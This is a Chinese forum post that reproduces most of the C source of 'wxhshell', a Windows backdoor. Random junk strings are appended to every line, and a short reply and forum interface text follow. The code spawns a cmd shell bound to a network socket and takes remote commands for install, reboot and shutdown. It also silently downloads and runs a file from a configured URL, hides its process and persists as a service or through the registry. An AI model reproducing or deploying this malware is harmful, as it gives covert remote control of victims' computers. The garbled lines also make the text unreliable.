  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); byj}36LN62  
  } >^cP]gG Y  
  else { ? o@5PL  
 E*[dc  
    switch(cmd[0]) { ;Up'+[Vj'C  
  ~m ,xG  
  // 帮助 zp"Lp>i  
  case '?': { )!h(oR  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); `rt  
    break; Yx- 2ux  
  } 0mJvoz\j8  
  // 安装 K;%P_f/KJP  
  case 'i': { KO`ftz3 +  
    if(Install()) k7rFbrL Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); % D]vKv~<  
    else zTDB]z!A  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Hzr<i4Y=w9  
    break; t> D|1E"  
    } %SKp<>;9  
  // 卸载 Uu~7+oaQ  
  case 'r': { <h(KI Y9T  
    if(Uninstall()) tx$kD2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P8tpbdZE-  
    else l+6y$2QR  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }T@^wY_Ow  
    break; J%G EIe|  
    } vwVK ^B  
  // 显示 wxhshell 所在路径  ~F?vf@k  
  case 'p': { /az}<r8  
    char svExeFile[MAX_PATH]; .A;e` cKb  
    strcpy(svExeFile,"\n\r"); _[zZm*  
      strcat(svExeFile,ExeFile); X$o$8s  
        send(wsh,svExeFile,strlen(svExeFile),0); oF1{/ERS  
    break; Kjw4,z%\94  
    } ~H[  
  // 重启 _ZM$&6EC  
  case 'b': { .Dn.|A  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); G ZxM44fP  
    if(Boot(REBOOT)) a;=)`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2nSX90@:  
    else { ;x 9_  
    closesocket(wsh); CqMm'6;$a}  
    ExitThread(0); (@t O1g  
    } +_.k\CRms  
    break; >FO4]  
    } lHRs3+  
  // 关机 v'R{lXE  
  case 'd': { W[pOLc-  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 81m3j`b  
    if(Boot(SHUTDOWN)) UKYQ @m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); NSQ}:m  
    else { Bw;gl^:UG  
    closesocket(wsh); DtXQLL*fl(  
    ExitThread(0); ~0}gRpMW  
    } :O`7kZ]=n  
    break; sK)fEx  
    } RMinZ}/  
  // 获取shell #w%d  
  case 's': { Wo&WO e  
    CmdShell(wsh); Z XCq>  
    closesocket(wsh); f`r o {p  
    ExitThread(0); d:Y!!LV-@L  
    break; $8/=@E{51  
  } [v@3|@  
  // 退出 ?]*WVjskE  
  case 'x': { 5yOIwzr&Uu  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); vY 0EffZ  
    CloseIt(wsh); x)35}mi){L  
    break; noSkKqP  
    } #Hn<4g"AjM  
  // 离开 2C6o?*RjyY  
  case 'q': { Q6Ay$*y=D  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); #'DrgZ)W  
    closesocket(wsh); uDtml$9rN  
    WSACleanup(); FEC`dSTI  
    exit(1); s ;3k#-w  
    break; 0+-"9pED>E  
        } ZmLA4<  
  } a&^HvXO(>(  
  } fwF&V^Dy  
fL^$G;_?3  
  // 提示信息 B$=oU   
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); q8m{zSr  
} CF,-l B  
  } (Q]Ww_r~  
tPp9=e2[s  
  return; n-"(lWcp  
} &i(\g7%U  
1>c^-"#e^  
// shell模块句柄 #&k`-@b5|  
int CmdShell(SOCKET sock) {yzo#"4Oy  
{ pZ`^0#Fo  
STARTUPINFO si; w@![rH6~F  
ZeroMemory(&si,sizeof(si)); ,`pUz[wl  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; n 3eLIA{  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ~=P#7l\o1  
PROCESS_INFORMATION ProcessInfo; <r>1W~bp.q  
char cmdline[]="cmd"; \CU-a`n  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); C vOH*K'  
  return 0; >g>L>{  
} T1-.+&<  
\ u*R6z  
// 自身启动模式 [ML|, kq!  
int StartFromService(void) kTW[)  
{ 3>T2k }  
typedef struct A"3"f8P8a  
{ 3(oB[9]s  
  DWORD ExitStatus; [PIh^ DhK  
  DWORD PebBaseAddress; 5cF7w  
  DWORD AffinityMask; QmKEl|/{u  
  DWORD BasePriority; 5!s7`w]8*0  
  ULONG UniqueProcessId; Al MMN"j  
  ULONG InheritedFromUniqueProcessId; _:1s7EC  
}   PROCESS_BASIC_INFORMATION; h@2YQgw`  
g`Kh&|GU  
PROCNTQSIP NtQueryInformationProcess; 1 u~Xk?  
c{"qrwLA  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ;RW0Dn)Q  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; I^GZ9@UE  
Fa0NHX2:  
  HANDLE             hProcess; 17E,Qnf  
  PROCESS_BASIC_INFORMATION pbi; Z1~`S!(}  
Q)/oU\  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); WvoJ^{\4N*  
  if(NULL == hInst ) return 0; R:5uZAx  
6/dP)"a('  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); q/h , jM  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); s~NJy'Y  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); HhZ>/5'(  
:|HCUZ*H(T  
  if (!NtQueryInformationProcess) return 0; ==Ah& ){4^  
t" $#KP<  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ysH'X95  
  if(!hProcess) return 0; Z#t}yC%^d  
@hF$qevX  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 6n?0MMtR  
3P*[ !KI  
  CloseHandle(hProcess); D~zk2  
g QYs,  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); / tG[pg{[  
if(hProcess==NULL) return 0; `yYYyB[  
ROr|n]aJj  
HMODULE hMod; ~f6 Q  
char procName[255]; O +u? Y  
unsigned long cbNeeded; O~OM.:al&  
<{cf'"O7)  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); nu `R(2/  
L2Fi/UWM  
  CloseHandle(hProcess); (:>Sh0.  
5h l!zA?  
if(strstr(procName,"services")) return 1; // 以服务启动 #|QA_5  
j a'_syn  
  return 0; // 注册表启动 |/%X8\  
} S[e> 8  
Ly-}HW(  
// 主模块 AIG5a$}&  
int StartWxhshell(LPSTR lpCmdLine) gX~lYdA  
{ qQwf#&  
  SOCKET wsl; }vEMG-sxX  
BOOL val=TRUE; S=a>rnF  
  int port=0; &9ERlZ(A  
  struct sockaddr_in door; \'6%Ld5km  
9>6?tb"f*H  
  if(wscfg.ws_autoins) Install(); ?$6(@>`f&t  
] 1s6=  
port=atoi(lpCmdLine); i<M F8 $  
YJF|J2u  
if(port<=0) port=wscfg.ws_port; /^9=2~b  
?/fC"MJq?  
  WSADATA data; 6Zx)L|B  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 97pfMk1_  
QT4&Ix,4T1  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   sdBB(  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 8^pu C  
  door.sin_family = AF_INET; 2f5YkmGc";  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); KjK-#F,@  
  door.sin_port = htons(port); iBk1QRdn  
#'5{ ?Cb  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 629ogJo8  
closesocket(wsl); (H;,E-  
return 1; PQrc#dfc |  
} "XLFw;o  
v(]dIH  
  if(listen(wsl,2) == INVALID_SOCKET) { ?h:xO\h8  
closesocket(wsl); |~B`[p]5H  
return 1; hz+c]K  
} S|O#KE  
  Wxhshell(wsl); ap<r )<u  
  WSACleanup(); D$Ao-6QE W  
bR<XQHl  
return 0; 1Q7]1fRu  
%-L T56T  
} d^Rea8  
m[nrr6 G"  
// 以NT服务方式启动 o|APsQE  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ~?Zm3zOCc2  
{ |`'WEe2  
DWORD   status = 0; K(AZD&D  
  DWORD   specificError = 0xfffffff; #'97mg  
H`4KhdqR  
  serviceStatus.dwServiceType     = SERVICE_WIN32; riQ0'-p  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; m$VCCDv  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; GO3KKuQ=  
  serviceStatus.dwWin32ExitCode     = 0; qS?^(Vt|R  
  serviceStatus.dwServiceSpecificExitCode = 0; ! u9LZ  
  serviceStatus.dwCheckPoint       = 0; ;( (|0Xa  
  serviceStatus.dwWaitHint       = 0; \s6 VOR/  
J; N\q  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ~!P&LZ  
  if (hServiceStatusHandle==0) return; F{E`MK~f_  
j9R+;u/!  
status = GetLastError();  = Atyy  
  if (status!=NO_ERROR) deOk>v&U  
{ 3F$N@K~s  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; M%OUkcWCk  
    serviceStatus.dwCheckPoint       = 0; ZyV^d3F@$  
    serviceStatus.dwWaitHint       = 0; 13A~."b  
    serviceStatus.dwWin32ExitCode     = status; jd.w7.8  
    serviceStatus.dwServiceSpecificExitCode = specificError; v,Z?pYYo  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); x b!&'cw  
    return; s=Xg6D  
  } [&)*jc16  
@+sYwlA~  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; B D [<>Wm  
  serviceStatus.dwCheckPoint       = 0; s8;*Wt  
  serviceStatus.dwWaitHint       = 0; N7!(4|14  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); jEm =A8q  
} AG|:mQO  
/k KVIlO  
// 处理NT服务事件,比如:启动、停止 TiKfIv  
VOID WINAPI NTServiceHandler(DWORD fdwControl) LCqWL1  
{ S& F;~  
switch(fdwControl) @[#)zO  
{ t')%; N  
case SERVICE_CONTROL_STOP: >VJ"e`  
  serviceStatus.dwWin32ExitCode = 0; QO %;%p*  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; CYdYa|  
  serviceStatus.dwCheckPoint   = 0; C?]+(P  
  serviceStatus.dwWaitHint     = 0; 7>3+]njw  
  { %<1_\N7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5}2148  
  } YoSBS   
  return; X$=/H 6R5Z  
case SERVICE_CONTROL_PAUSE: ]+Z,HY@;-  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; HE-ErEtGB  
  break; jpZ 7p ;  
case SERVICE_CONTROL_CONTINUE: x??H%'rP  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ~BgNM O;|  
  break; \^dYmU  
case SERVICE_CONTROL_INTERROGATE: 0U! _o2]  
  break; {Hz;*1?$k  
}; T3t w.yh  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); QG5 c>Q  
} ,7;euV5X  
"Mh}n-oju  
// 标准应用程序主函数 9 u>X,2gUR  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) jSw>z`'#H  
{ <1<0odB  
M&KJZ  
// 获取操作系统版本 tcD5"ALJ  
OsIsNt=GetOsVer(); V]/ $ dJ  
GetModuleFileName(NULL,ExeFile,MAX_PATH); :/6u*HwZh  
T/tCX[}  
  // 从命令行安装 R#Z m[S  
  if(strpbrk(lpCmdLine,"iI")) Install(); 6%&DJBU!  
}x:}9iphF  
  // 下载执行文件 J!H)[~2/  
if(wscfg.ws_downexe) { _xM3c&VeG  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 7b(r'b@N  
  WinExec(wscfg.ws_filenam,SW_HIDE); PQ" v  
} @eP(j@(^  
8aVj@x$'  
if(!OsIsNt) { Z& bIjp  
// 如果时win9x,隐藏进程并且设置为注册表启动 fz%e?@>q  
HideProc(); 9 xFX"_J  
StartWxhshell(lpCmdLine); '\P+Bu]6&  
} [6%y RQ_  
else ?+L7Bd(EF%  
  if(StartFromService()) [jTZxH<  
  // 以服务方式启动 )Mh5q&ow  
  StartServiceCtrlDispatcher(DispatchTable); {"_V,HmEF+  
else ]:Pkh./  
  // 普通方式启动 7TA&u'  
  StartWxhshell(lpCmdLine); [pSQ8zdF"  
CIQ9dx7>  
return 0; G5UNW<P2C  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您提交过一次失败了,可以用”恢复数据”来恢复帖子内容
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八